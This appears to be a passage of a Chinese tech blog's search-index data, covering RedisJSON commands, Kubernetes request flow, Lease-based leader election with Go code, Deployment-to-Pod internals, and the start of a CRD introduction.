k8s,那像我一样用两天时间刷一下题就能速通。如果你完全不懂,多花几天时间死记硬背也能躺过(如果你顺利通过考试且觉得本文对你有帮助,欢迎你回来给本文点个赞)。 最后,考证虽然简单且有技巧,但还是希望读者能够脚踏实地、认真学习并掌握相关知识。你不一定要上公有云,但一定要上云原生这朵云。 ","date":"2024-01-27","objectID":"/2024-cka-cert/:3:0","tags":["Kubernetes","CKA"],"title":"我的 2024 年 CKA 认证两天速通攻略","uri":"/2024-cka-cert/"},{"categories":["Middleware"],"content":"Redis Stack 不只是缓存之 RedisJSON","date":"2024-01-08","objectID":"/redis-stack-json/","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"Redis Stack 虽然 Redis 作为一个 key-value 数据库早已被广泛应用于各种缓存相关的场景,然而其团队的却并未故步自封,他们希望更进一步为开发者提供一个不只有缓存功能的强大的实时数据平台,用于处理所有实时数据的应用场景。 为此,除了我们所熟知的核心缓存功能之外,Redis 还通过提供 RedisJSON、RediSearch、RedisTimeSeries、RedisBloom 等多个模块从而支持 JSON 数据、查询与搜索(包括全文搜索、向量搜索、GEO 地理位置等)、时序数据、概率计算等等扩展功能。 而所谓的 Redis Stack 就是这样一个统一了所有上述模块的集大成者(就是除了缓存功能之外,把 RedisJSON、RediSearch、RedisTimeSeries、RedisBloom 等模块都打包到了一起)。 ","date":"2024-01-08","objectID":"/redis-stack-json/:1:0","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"RedisJSON RedisJSON 是 Redis 的一个模块,它用来专门处理 JSON 格式的数据。除了 string、list、set、hash … 等核心数据类型之外,RedisJSON 模块将 JSON 也作为了一种原生的数据类型。 ","date":"2024-01-08","objectID":"/redis-stack-json/:2:0","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"JSONPath 为了更方便地访问 JSON 数据中的特定元素,可以使用 path 路径这样一种方式。目前 path 语法有两种:JSONPath syntax(JSONPath 语法) 和 legacy path syntax(传统 path 语法),本文只讲 JSONPath 这种语法。 语法元素说明: $:JSON 数据的根路径。 . 或者 []:子元素。 ..:递归地遍历 JSON 文档。 *:通配符,返回所有元素。 []:下标运算符,访问数组元素。 [,]:并集,选择多个元素。 [start : end : step]:数组切片,其中 start、end 是索引,step 是步长。 ?():过滤 JSON 对象或数组。支持比较运算符(==、!=、\u003c、\u003c=、\u003e、\u003e=、=~)、逻辑运算符(\u0026\u0026、||)和括号((, )) ():脚本表达式。 @:当前元素,用于过滤器或脚本表达式。 示例: { \"store\":{ \"book\":[ { \"category\":\"reference\", \"author\":\"Nigel Rees\", \"title\":\"Sayings of the Century\", \"price\":8.95 }, { \"category\":\"fiction\", \"author\":\"Evelyn Waugh\", \"title\":\"Sword of Honour\", \"price\":12.99 } ], \"bicycle\":{ \"color\":\"red\", \"price\":19.95 } } } $ 指向数据的根路径,返回的也就是整个数据。 . 访问子元素,例如 $.store.bicycle.color。 .. 递归遍历,例如 $.store.book..title 获取 book 数组中的所有对象的 title 属性。 *:通配符,返回所有元素,例如 $.* 由于第一层级只有 store 一个元素,所以这里等价于 $.store;$.store.* 则返回 store 下面所有元素的值,也就是 $.store.book 的值和 $.store.bicycle 的值。 []:下标运算符,从零开始,访问数组元素。例如 $.store.book[1] 返回 book 数组中的第二个元素。 [,]:并集,选择多个元素,例如 $.store.book[0,1] 返回 book 数组的前两个元素。 [start : end : step]:数组切片,例如 $.store.book[0:1] 返回 book 数组中的第一个元素。 @:当前元素,用于过滤器或脚本表达式。 ?():过滤 JSON 对象或数组,例如 $.store.book[?(@.price\u003e10)] 获取 book 数组中 price \u003e 10 的数据。 ","date":"2024-01-08","objectID":"/redis-stack-json/:3:0","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"JSON command 在 Redis Stack 中支持的 JSON 命令: ","date":"2024-01-08","objectID":"/redis-stack-json/:4:0","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"通用类 JSON.SET:设置值 SET 语法:JSON.SET key path value [NX | XX] (NX 不存在则设置,XX 存在则设置) JSON.GET:获取值 GET 语法:JSON.GET key [INDENT indent] [NEWLINE newline] [SPACE space] [path [path ...]] JSON.MERGE:合并值 MERGE 语法:JSON.MERGE key path value JSON.FORGET:同 JSON.DEL JSON.DEL:删除值 DEL 语法:JSON.DEL key [path] JSON.CLEAR:清空 array 或 object 类型的值并将 number 类型的值设置为 0 CLEAR 语法:JSON.CLEAR key [path] JSON.TYPE:返回 JSON 值的类型。类型有:string、number、boolean、object、array、null、integer(integer 有点特殊,它并不是 JSON 标准定义的基本类型,但是给出了校验方式) TYPE 语法:JSON.TYPE key [path] 示例(以下示例均是通过 redis-cli 进行): \u003e JSON.SET id:1 $ '{\"a\":2}' \"OK\" \u003e JSON.SET id:1 $.b '3' \"OK\" \u003e JSON.GET id:1 $ \"[{\\\"a\\\":2,\\\"b\\\":3}]\" \u003e JSON.GET id:1 $.a $.b \"{\\\"$.a\\\":[2],\\\"$.b\\\":[3]}\" \u003e JSON.GET id:1 INDENT \"\\t\" NEWLINE \"\\n\" SPACE \" \" $ \"[\\n\\t{\\n\\t\\t\\\"a\\\": 2,\\n\\t\\t\\\"b\\\": 3\\n\\t}\\n]\" \u003e JSON.SET id:2 $ '{\"a\":2}' \"OK\" \u003e JSON.MERGE id:2 $.c '[4,5]' \"OK\" \u003e JSON.GET id:2 $ \"[{\\\"a\\\":2,\\\"c\\\":[4,5]}]\" \u003e JSON.TYPE id:2 $.a 1) \"integer\" \u003e JSON.TYPE id:2 $.c 1) \"array\" \u003e JSON.SET id:3 $ '{\"a\":{\"b\": [1, 2]}, \"c\": \"c\", \"d\": 123}' \"OK\" \u003e JSON.GET id:3 $ \"[{\\\"a\\\":{\\\"b\\\":[1,2]},\\\"c\\\":\\\"c\\\",\\\"d\\\":123}]\" \u003e JSON.CLEAR id:3 $.* (integer) 2 \u003e JSON.GET id:3 $ \"[{\\\"a\\\":{},\\\"c\\\":\\\"c\\\",\\\"d\\\":0}]\" \u003e JSON.DEL id:3 $.a (integer) 1 \u003e JSON.GET id:3 $ \"[{\\\"d\\\":0,\\\"c\\\":\\\"c\\\"}]\" \u003e JSON.DEL id:3 (integer) 1 从以上示例中可以看到,通过 JSONPath 可以只操作 JSON 中的部分值,这也意味着用户可以针对特定部分进行原子操作。 ","date":"2024-01-08","objectID":"/redis-stack-json/:4:1","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"针对 array 数组类型 JSON.ARRAPPEND:数组尾部增加元素 ARRAPPEND 语法:JSON.ARRAPPEND key [path] value [value ...] JSON.ARRINDEX:数组中出现指定值的第一个 index ARRINDEX 语法:JSON.ARRINDEX key path value [start [stop]] JSON.ARRINSERT:数组指定索引处插入元素 ARRINSERT 语法:JSON.ARRINSERT key path index value [value ...] JSON.ARRLEN:返回数组的长度 ARRLEN 语法:JSON.ARRLEN key [path] JSON.ARRPOP:从数组的索引中删除并返回一个元素 ARRPOP 语法:JSON.ARRPOP key [path [index]] JSON.ARRTRIM:修剪数组,使其仅包含指定范围的元素 ARRTRIM 语法:JSON.ARRTRIM key path start stop 示例: \u003e JSON.SET id:4 $ '[1,2,3]' \"OK\" \u003e JSON.ARRAPPEND id:4 $ '4' '5' 1) \"5\" \u003e JSON.GET id:4 $ \"[[1,2,3,4,5]]\" \u003e JSON.ARRINSERT id:4 $ 2 '2' '3' 1) \"7\" \u003e JSON.GET id:4 $ \"[[1,2,2,3,3,4,5]]\" \u003e JSON.ARRINDEX id:4 $ '3' 1) \"3\" \u003e JSON.ARRPOP id:4 \"5\" \u003e JSON.ARRLEN id:4 (integer) 6 \u003e JSON.ARRTRIM id:4 $ 1 3 1) \"3\" \u003e JSON.GET id:4 $ \"[[2,2,3]]\" ","date":"2024-01-08","objectID":"/redis-stack-json/:4:2","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"针对 object 对象类型 JSON.OBJKEYS:返回 object 中的 key 数组 JSON.OBJLEN:返回 object 中的 key 的数量 示例: \u003e JSON.SET doc $ '{\"a\":[3], \"nested\": {\"a\": {\"b\":2, \"c\": 1}}}' \"OK\" \u003e JSON.OBJKEYS doc $..a 1) \"null\" 2) 1) \"b\" 2) \"c\" \u003e JSON.OBJLEN doc $ 1) \"2\" ","date":"2024-01-08","objectID":"/redis-stack-json/:4:3","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"针对 number 类型 JSON.NUMINCRBY:为 number 类型增加数值 示例: \u003e JSON.SET doc $ '{\"a\": 1, \"b\": 2}' \"OK\" \u003e JSON.NUMINCRBY doc $.a 10 \"[11]\" \u003e JSON.GET doc $ \"[{\\\"a\\\":11,\\\"b\\\":2}]\" \u003e JSON.NUMINCRBY doc $.b -3 \"[-1]\" \u003e JSON.GET doc $ \"[{\\\"a\\\":11,\\\"b\\\":-1}]\" ","date":"2024-01-08","objectID":"/redis-stack-json/:4:4","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"针对 string 类型 JSON.STRAPPEND:追加字符串 JSON.STRLEN:返回字符串的长度 示例: \u003e JSON.SET doc $ '{\"a\":\"foo\", \"nested\": {\"a\": \"hello\"}, \"nested2\": {\"a\": 31}}' \"OK\" \u003e JSON.STRAPPEND doc $..a '\"baz\"' 1) \"6\" 2) \"8\" 3) \"null\" \u003e JSON.GET doc $ \"[{\\\"a\\\":\\\"foobaz\\\",\\\"nested\\\":{\\\"a\\\":\\\"hellobaz\\\"},\\\"nested2\\\":{\\\"a\\\":31}}]\" \u003e JSON.STRLEN doc $.a 1) \"6\" ","date":"2024-01-08","objectID":"/redis-stack-json/:4:5","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"针对 boolean 类型 JSON.TOGGLE:切换布尔值,把 false 与 true 对换 示例: \u003e JSON.SET doc $ '{\"bool\": true}' \"OK\" \u003e JSON.TOGGLE doc $.bool 1) \"0\" \u003e JSON.GET doc $ \"[{\\\"bool\\\":false}]\" \u003e JSON.TOGGLE doc $.bool 1) \"1\" \u003e JSON.GET doc $ \"[{\\\"bool\\\":true}]\" ","date":"2024-01-08","objectID":"/redis-stack-json/:4:6","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"调试 JSON.DEBUG JSON.DEBUG MEMORY:返回内存占用大小 示例: \u003e JSON.SET doc $ '{\"a\": 1, \"b\": 2, \"c\": {}}' \"OK\" \u003e JSON.DEBUG MEMORY doc (integer) 147 \u003e JSON.DEBUG MEMORY doc $.c 1) \"8\" ","date":"2024-01-08","objectID":"/redis-stack-json/:4:7","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"批量操作 JSON.MGET:批量 GET 多个 key 的值 JSON.MGET key [key ...] path 示例: \u003e JSON.SET doc1 $ '{\"a\":1, \"b\": 2, \"nested\": {\"a\": 3}, \"c\": null}' \"OK\" \u003e JSON.SET doc2 $ '{\"a\":4, \"b\": 5, \"nested\": {\"a\": 6}, \"c\": null}' \"OK\" \u003e JSON.MGET doc1 doc2 $..a 1) \"[1,3]\" 2) \"[4,6]\" JSON.MSET:批量 SET 设置数值,这个操作是原子的,这意味着批量操作要么全都生效,要么全都不生效 JSON.MSET key path value [key path value ...] 示例: \u003e JSON.MSET doc1 $ '{\"a\":1}' doc2 $ '{\"f\":{\"a\":2}}' doc3 $ '{\"f1\":{\"a\":0},\"f2\":{\"a\":0}}' \"OK\" \u003e JSON.MSET doc1 $ '{\"a\":2}' doc2 $.f.a '3' doc3 $ '{\"f1\":{\"a\":1},\"f2\":{\"a\":2}}' \"OK\" \u003e JSON.MGET doc1 doc2 doc3 $ 1) \"[{\\\"a\\\":2}]\" 2) \"[{\\\"f\\\":{\\\"a\\\":3}}]\" 3) \"[{\\\"f1\\\":{\\\"a\\\":1},\\\"f2\\\":{\\\"a\\\":2}}]\" ","date":"2024-01-08","objectID":"/redis-stack-json/:4:8","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"已弃用 JSON.RESP JSON.MUMMULTIBY ","date":"2024-01-08","objectID":"/redis-stack-json/:4:9","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"总结 面对 JSON 数据格式的流行,Redis 也并未落后,通过 RedisJSON 模块很好地进行了支持。而基于 RedisJSON,Redis Stack 还能作为一个 Document database 文档数据库、一个全文搜索引擎、或者一个向量搜索引擎。 本文姑且介绍了 RedisJSON 的基本用法。关注我,等待我的后续文章进一步了解 Redis Stack 的其他功能。 参考资料: https://redis.io/docs/about/about-stack/ https://redis.io/docs/data-types/json/ https://redis.io/commands/?group=json ","date":"2024-01-08","objectID":"/redis-stack-json/:5:0","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Kubernetes"],"content":"Kubernetes 外部 HTTP 请求到达 Pod 中的应用容器的全过程","date":"2023-12-30","objectID":"/http-flow-to-container/","tags":["Kubernetes"],"title":"Kubernetes 外部 HTTP 请求到达 Pod 容器的全过程","uri":"/http-flow-to-container/"},{"categories":["Kubernetes"],"content":"Kubernetes 集群外部的 HTTP/HTTPS 请求是如何达到 Pod 中的 container 的? ","date":"2023-12-30","objectID":"/http-flow-to-container/:0:0","tags":["Kubernetes"],"title":"Kubernetes 外部 HTTP 请求到达 Pod 容器的全过程","uri":"/http-flow-to-container/"},{"categories":["Kubernetes"],"content":"HTTP 请求流转过程概述 如上图所示,全过程大致为: 用户从 web/mobile/pc 等客户端发出 HTTP/HTTPS 请求。 由于应用服务通常是通过域名的形式对外暴露,所以请求将会先进行 DNS 域名解析,得到对应的公网 IP 地址。 公网 IP 地址通常会绑定一个 Load Balancer 负载均衡器,此时请求会进入此负载均衡器。 Load Balancer 负载均衡器可以是硬件,也可以是软件,它通常会保持稳定(固定的公网 IP 地址),因为如果切换 IP 地址会因为 DNS 缓存的原因导致服务某段时间内不可达。 Load Balancer 负载均衡器是一个重要的中间层,对外承接公网流量,对内进行流量的管理和转发。 Load Balancer 再将请求转发到 kubernetes 集群的某个流量入口点,通常是 ingress。 ingress 负责集群内部的路由转发,可以看成是集群内部的网关。 ingress 只是配置,具体进行流量转发的是 ingress-controller,后者有多种选择,比如 Nginx、HAProxy、Traefik、Kong 等等。 ingress 根据用户自定义的路由规则进一步转发到 service。 比如根据请求的 path 路径或 host 做转发。 service 根据 selector(匹配 label 标签)将请求转发到 pod。 service 有多种类型,集群内部最常用的类型就是 ClusterIP。 service 本质上也只是一种配置,这种配置最终会作用到 node 节点上的 kube-proxy 组件,后者会通过设置 iptables/ipvs 来完成实际的请求转发。 service 可能会对应多个 pod,但最终请求只会被随机转发到一个 pod 上。 pod 最后将请求发送给其中的 container 容器。 同一个 pod 内部可能有多个 container,但是多个容器不能共用同一个端口,因此这里会根据具体的端口号将请求发给对应的 container。 以上就是一种典型的集群外部 HTTP 请求如何达到 Pod 中的 container 的全过程。 需要注意的是,由于网络配置灵活多变,以上请求流转过程并不是唯一的方式,例如: 如果你使用的是云服务,那么可以通过使用 LoadBalancer 类型的 service 直接绑定一个云服务商提供的负载均衡器,然后再接 ingress 或者其它 service。 你也可以通过 NodePort 类型的 service 直接使用节点上的端口,通过这些节点自建负载均衡器。 如果你的服务特别简单,没啥内部流量需要管理的,这时不用 ingress 也是可以的。 ","date":"2023-12-30","objectID":"/http-flow-to-container/:1:0","tags":["Kubernetes"],"title":"Kubernetes 外部 HTTP 请求到达 Pod 容器的全过程","uri":"/http-flow-to-container/"},{"categories":["Kubernetes"],"content":"容器技术的底座 容器技术的底座有三样东西: Namespace(这里是指 Linux 系统内核的命名空间) Cgroups UnionFS 正是 Linux 内核的 namespace 实现了资源的隔离。因为每个 pod 有各自的 Linux namespace,所以不同的 pod 是资源隔离的。namespace 有多种,包括 PID、IPC、Network、Mount、Time 等等。其中 PID namespace 实现了进程的隔离,因此 pod 内可以有自己的 1 号进程。而 Network namespace 则让每个 pod 有了自己的网络。 Pod 有自己的网络,node 节点也有自己的网络,那么流量是如何从 node 节点到 pod 的呢? ","date":"2023-12-30","objectID":"/http-flow-to-container/:2:0","tags":["Kubernetes"],"title":"Kubernetes 外部 HTTP 请求到达 Pod 容器的全过程","uri":"/http-flow-to-container/"},{"categories":["Kubernetes"],"content":"HTTP 请求流转过程补充 每个 node 节点上都有: kubelet:节点的小管家。 kube-proxy:操作节点的 iptables/ipvs 。 plugins: CRI:容器运行时接口 CNI:容器网络接口 CSI(可选):容器存储接口 每个 node 节点有自己的 root namespace,其中也包括网络相关的 root netns,每个 pod 有自己的 pod netns,从 node 到 pod 则可以通过 veth pairs 的方式连通,流量也正是通过此通道进行的流转。而构建 veth pairs、设置 pod network namespace、为 pod 分配 IP 地址等等工作则正是 CNI 的任务。 至此,一个典型的 kubernetes 集群外部的 HTTP/HTTPS 请求如何达到 Pod 中的 container 的全过程就是这样了。 参考资料: https://kubernetes.io/docs/concepts/services-networking/ https://learnk8s.io/kubernetes-network-packets ","date":"2023-12-30","objectID":"/http-flow-to-container/:3:0","tags":["Kubernetes"],"title":"Kubernetes 外部 HTTP 请求到达 Pod 容器的全过程","uri":"/http-flow-to-container/"},{"categories":["Kubernetes"],"content":"Kubernetes Lease 及分布式选主","date":"2023-12-26","objectID":"/lease/","tags":["Kubernetes"],"title":"Kubernetes Lease 及分布式选主","uri":"/lease/"},{"categories":["Kubernetes"],"content":"分布式选主 在分布式系统中,应用服务常常会通过多个节点(或实例)的方式来保证高可用。然而在某些场景下,有些数据或者任务无法被并行操作,此时就需要由一个特定的节点来执行这些特殊的任务(或者进行协调及决策),这个特定的节点也就是领导者(Leader),而在多个节点中选择领导者的机制也就是分布式选主(Leader Election)。 如今诸多知名项目也都使用了分布式选主,例如: Etcd Kafka Elasticsearch Zookeeper 常用算法包括: Paxos:一种著名的分布式共识算法,原理和实现较为复杂(此算法基本就是共识理论的奠基之作,曾有人说:“世界上只有一种共识协议,就是 Paxos,其他所有共识算法都是 Paxos 的退化版本”)。 Raft:目前最广泛使用的分布式共识算法之一,Etcd 使用的就是 Raft,Elasticsearch 和 Kafka 在后来的版本中也都抛弃了早期的算法并转向了 Raft。 ZAB(Zookeeper Atomic Broadcast):Zookeeper 使用的一致性协议,也包括选主机制。 ","date":"2023-12-26","objectID":"/lease/:1:0","tags":["Kubernetes"],"title":"Kubernetes Lease 及分布式选主","uri":"/lease/"},{"categories":["Kubernetes"],"content":"Kubernetes Lease 在 Kubernetes 中,诸如 kube-scheduler 和 kube-controller-manager 等核心组件也需要使用分布式选主,因为其需要确保任一时刻只有一个调度器在做出调度决策,同一时间只有一个控制管理器在处理资源对象。 然而,除了核心组件,用户的应用服务很可能也有类似分布式选主的需求,为了满足这种通用需求,kubernetes 提供了 Lease(翻译为“租约”)这样一个特殊的资源对象。 如上图所示,在 k8s 中选主是通过争抢一个分布式锁(Lease)来实现的,抢到锁的实例成为 leader,为了确认自己持续存活,leader 需要不断的续签这个锁(Lease),一旦 leader 挂掉,则锁被释放,其他候选人便可以竞争成为新的 leader。 Lease 的结构也很简单: apiVersion: coordination.k8s.io/v1 kind: Lease metadata: # object spec: acquireTime: # 当前租约被获取的时间 holderIdentity: # 当前租约持有者的身份信息 leaseDurationSeconds: # 租约候选者需要等待才能强制获取它的持续时间 leaseTransitions: # 租约换了多少次持有者 renewTime: # 当前租约持有者最后一次更新租约的时间 Lease 本质上与其它资源并无区别,除了 Lease,其实也可以用 configmap 或者 endpoint 作为分布式锁,因为在底层都是 k8s 通过资源对象的 resourceVersion 字段进行 compare-and-swap,也就是通过这个字段实现的乐观锁。当然在实际使用中,建议还是用 Lease。 ","date":"2023-12-26","objectID":"/lease/:2:0","tags":["Kubernetes"],"title":"Kubernetes Lease 及分布式选主","uri":"/lease/"},{"categories":["Kubernetes"],"content":"使用示例 使用 Lease 进行分布式选主的示例如下: import ( \"context\" \"time\" \"k8s.io/client-go/kubernetes\" \"k8s.io/client-go/rest\" \"k8s.io/client-go/tools/leaderelection\" \"k8s.io/client-go/tools/leaderelection/resourcelock\" ) func main() { config, err := rest.InClusterConfig() if err != nil { panic(err.Error()) } clientset, err := kubernetes.NewForConfig(config) if err != nil { panic(err.Error()) } // 配置 Lease 参数 leaseLock := \u0026resourcelock.LeaseLock{ LeaseMeta: metav1.ObjectMeta{ Name: \"my-lease\", Namespace: \"default\", }, Client: clientset.CoordinationV1(), LockConfig: resourcelock.ResourceLockConfig{ Identity: \"my-identity\", }, } // 配置 Leader Election leaderElectionConfig := leaderelection.LeaderElectionConfig{ Lock: leaseLock, LeaseDuration: 15 * time.Second, RenewDeadline: 10 * time.Second, RetryPeriod: 2 * time.Second, Callbacks: leaderelection.LeaderCallbacks{ OnStartedLeading: func(ctx context.Context) { // 当前实例成为 Leader // 在这里执行 Leader 专属的逻辑 }, OnStoppedLeading: func() { // 当前实例失去 Leader 地位 // 可以在这里执行清理工作 }, OnNewLeader: func(identity string) { // 有新的 Leader 产生 } }, } leaderElector, err := leaderelection.NewLeaderElector(leaderElectionConfig) if err != nil { panic(err.Error()) } // 开始 Leader Election ctx := context.Background() leaderElector.Run(ctx) } 参考资料: https://kubernetes.io/docs/concepts/architecture/leases/ https://kubernetes.io/docs/reference/kubernetes-api/cluster-resources/lease-v1/ https://pkg.go.dev/k8s.io/client-go@v0.29.0/tools/leaderelection ","date":"2023-12-26","objectID":"/lease/:2:1","tags":["Kubernetes"],"title":"Kubernetes Lease 及分布式选主","uri":"/lease/"},{"categories":["Kubernetes"],"content":"Kubernetes 从提交 deployment 到 pod 运行的全过程","date":"2023-12-23","objectID":"/k8s-from-deploy-to-pod/","tags":["Kubernetes"],"title":"Kubernetes 从提交 deployment 到 pod 运行的全过程","uri":"/k8s-from-deploy-to-pod/"},{"categories":["Kubernetes"],"content":"当用户向 Kubernetes 提交了一个创建 deployment 的请求后,Kubernetes 从接收请求直至创建对应的 pod 运行这整个过程中都发生了什么呢? ","date":"2023-12-23","objectID":"/k8s-from-deploy-to-pod/:0:0","tags":["Kubernetes"],"title":"Kubernetes 从提交 deployment 到 pod 运行的全过程","uri":"/k8s-from-deploy-to-pod/"},{"categories":["Kubernetes"],"content":"kubernetes 架构简述 在搞清楚从 deployment 提交到 pod 运行整个过程之前,我们有先来看看 Kubernetes 的集群架构: 上图与下图相同: 如图所示,k8s 集群分为 control plane 控制平面和 node 节点。 control plane 控制平面(也称之为主节点)主要包含以下组件: kube-api-server: 顾名思义,负责处理所有 api,包括客户端以及集群内部组件的请求。 etcd: 分布式持久化存储、事件订阅通知。只有 kube-api-server 直接操作 etcd,其它所有组件都是与 kube-api-server 进行相互。 scheduler: 处理 pod 的调度,将 pod 绑定到具体的 node 节点。 controller manager: 控制器,处理各种资源对象。 cloud controller manager: 对接云服务商的控制器。 node 节点,专门部署用户的应用程序(与控制平面隔离,避免影响到 k8s 的核心组件),主要包含以下组件: kubelet: 管理节点上的 pod 以及状态检查和上报。 kube-proxy: 进行流量的路由转发(目前是通过操作节点的 iptables 或者 ipvs 实现)。 CRI: 容器运行时接口。 ","date":"2023-12-23","objectID":"/k8s-from-deploy-to-pod/:1:0","tags":["Kubernetes"],"title":"Kubernetes 从提交 deployment 到 pod 运行的全过程","uri":"/k8s-from-deploy-to-pod/"},{"categories":["Kubernetes"],"content":"从 Deployment 到 Pod 从 Deployment 到 Pod 的整个过程如下图所示: ","date":"2023-12-23","objectID":"/k8s-from-deploy-to-pod/:2:0","tags":["Kubernetes"],"title":"Kubernetes 从提交 deployment 到 pod 运行的全过程","uri":"/k8s-from-deploy-to-pod/"},{"categories":["Kubernetes"],"content":"1. 请求发送到 kube-api-server 请求发送到 kube-api-server,然后会进行认证、鉴权、变更、校验等一系列过程,最后将 deployment 的数据持久化存储至 etcd。 在这个过程我们可以通过 mutation admission 的 webhook 自主地对资源对象进行任意的变更,比如注入 sidecar 等等。 ","date":"2023-12-23","objectID":"/k8s-from-deploy-to-pod/:2:1","tags":["Kubernetes"],"title":"Kubernetes 从提交 deployment 到 pod 运行的全过程","uri":"/k8s-from-deploy-to-pod/"},{"categories":["Kubernetes"],"content":"2. controller manager 处理 controller manager 组件针对不同的资源对象有不同的处理部分。 针对 Deployment,由于其并不直接管理 Pod,而是 Deployment 管理 ReplicaSet,ReplicaSet 再管理 Pod: 因此其中涉及到 controller manager 中的两个部分: deployment controller replicaset controller (1) 先是 deployment controller 监听到 deployment 的创建事件,然后进行相关的处理,最后创建 replicaset。 (2) 然后 replicaset controller 监听到 replicaset 的创建事件,进行相关处理后,最后创建 pod。 ","date":"2023-12-23","objectID":"/k8s-from-deploy-to-pod/:2:2","tags":["Kubernetes"],"title":"Kubernetes 从提交 deployment 到 pod 运行的全过程","uri":"/k8s-from-deploy-to-pod/"},{"categories":["Kubernetes"],"content":"3. scheduler 调度 scheduler 接受到 pod 需要调度的事件后,进行一系列调度逻辑处理,最后选择一个合适的 node 节点,将 pod 绑定到这个节点上(所谓的节点调度在这里只是修改 pod 数据,对其中的 nodeName 进行赋值)。 具体的调度算法比较复杂,涉及强制性调度、亲和与反亲和、污点和容忍、以及硬件资源计算、优先级等等,本文不做展开。 ","date":"2023-12-23","objectID":"/k8s-from-deploy-to-pod/:2:3","tags":["Kubernetes"],"title":"Kubernetes 从提交 deployment 到 pod 运行的全过程","uri":"/k8s-from-deploy-to-pod/"},{"categories":["Kubernetes"],"content":"4. 节点 kubelet 处理 调度完成后,pod 被绑定的 node 节点上的 kubelet 同样通过 kube-api-server 会接受到相应的事件,然后 kubelet 会进行 pod 的创建。 在这个过程中 kubelet 会分别调用 CRI、CNI、CSI: CRI(Container Runtime Interface): 容器运行时接口,CRI 插件负责执行拉取镜像、创建、删除容器等操作。CRI 的几种常用插件: containerd CRI-O Docker Engine CNI(Container Network Interface): 容器网络接口,CNI 插件负责给 pod 分配 IP 地址,确保 pod 能够与集群内的其它 pod 进行通信。CNI 的几种常用插件: Cilium Calico CSI(Container Storage Interface): 容器存储接口,CSI 插件负责与外部存储提供者通信,执行卷的附加、挂载等操作。 所谓的接口其实只是定义了通信的规范或者标准(使用的是 grpc 协议),具体的实现则是交给了插件。 至此,Kubernetes 从创建 deployment 到 pod 运行的全过程就是这样了。 参考资料: https://kubernetes.io/docs/concepts/architecture/ https://kubernetes.io/docs/concepts/scheduling-eviction/ https://kubernetes.io/docs/setup/production-environment/container-runtimes/ https://kubernetes.io/docs/tasks/administer-cluster/network-policy-provider/ ","date":"2023-12-23","objectID":"/k8s-from-deploy-to-pod/:2:4","tags":["Kubernetes"],"title":"Kubernetes 从提交 deployment 到 pod 运行的全过程","uri":"/k8s-from-deploy-to-pod/"},{"categories":["Kubernetes"],"content":"Kubernetes CRD \u0026 Operator 简介","date":"2023-12-19","objectID":"/k8s-crd-operator/","tags":["Kubernetes","Golang"],"title":"Kubernetes CRD \u0026 Operator 简介","uri":"/k8s-crd-operator/"},{"categories":["Kubernetes"],"content":"Kubernetes CRD 在 kubernetes 中有一系列内置的资源,诸如:pod、deployment、configmap、service …… 等等,它们由 k8s 的内部组件管理。而除了这些内置资源之外,k8s 还提供了另外一种方式让用户可以随意地自定义资源,这就是 CRD (全称 CustomResourceDefinitions) 。 例如,我可以通过 CRD 去定义一个 mypod、myjob、myanything 等等资源,一旦注册成功,那么这些自定义资源便会享受与内置资源相同的待遇。具体而言就是: 我们可以像使用 kubectl 增删改查 deployment 一样去操作这些 CRD 自定义资源。 CRD 自定义资源的数据跟 pod 等内置资源一样会存储到 k8s 控制平面的 etcd 中。 需要注意的是,CRD 在不同的语境下有不同的含义,有时候可能只是指 k8s 中的 CustomResourceDefinitions 这一种特定的资源,有时候也可能是指用户通过 CRD 所创建出来的自定义资源。 狭义上的 CRD (全称 CustomResourceDefinitions) 是 k8s 中的一种特殊的内置资源,我们可以通过它去创建我们自定义的其它资源。例如,我们可以通过 CRD 去创建一个叫 CronTab 的资源: apiVersion: apiextensions.k8s.io/v1 kind: CustomResourceDefinition metadata: # 名称必须匹配 \u003cplural\u003e.\u003cgroup\u003e name: crontabs.stable.example.com spec: # group 名称,用于 REST API: /apis/\u003cgroup\u003e/\u003cversion\u003e group: stable.example.com versions: - name: v1 served: true storage: true schema: openAPIV3Schema: type: object properties: # 定义属性 spec: type: object properties: cronSpec: type: string image: type: string # 作用范围可以是 Namespaced 或者 Cluster scope: Namespaced names: # 复数名称,使用于 URL: /apis/\u003cgroup\u003e/\u003cversion\u003e/\u003cplural\u003e plural: crontabs # 单数名称,可用于 CLI singular: crontab # 驼峰单数,用于资源清单 kind: CronTab # 名字简写,可用于 CLI shortNames: - ct 一旦我们 apply 这个 yaml 文件,那么我们的自定义资源 CronTab 也就注册到 k8s 了。这个时候我们就可以任意操作这个自定义资源,比如 my-crontab.yaml: apiVersion: \"stable.example.com/v1\" kind: CronTab metadata: name: my-new-cron-object spec: cronSpec: \"* * * * */5\" image: my-awesome-cron-image 执行 kubectl apply -f my-crontab.yaml 就可以创建我们自定义的 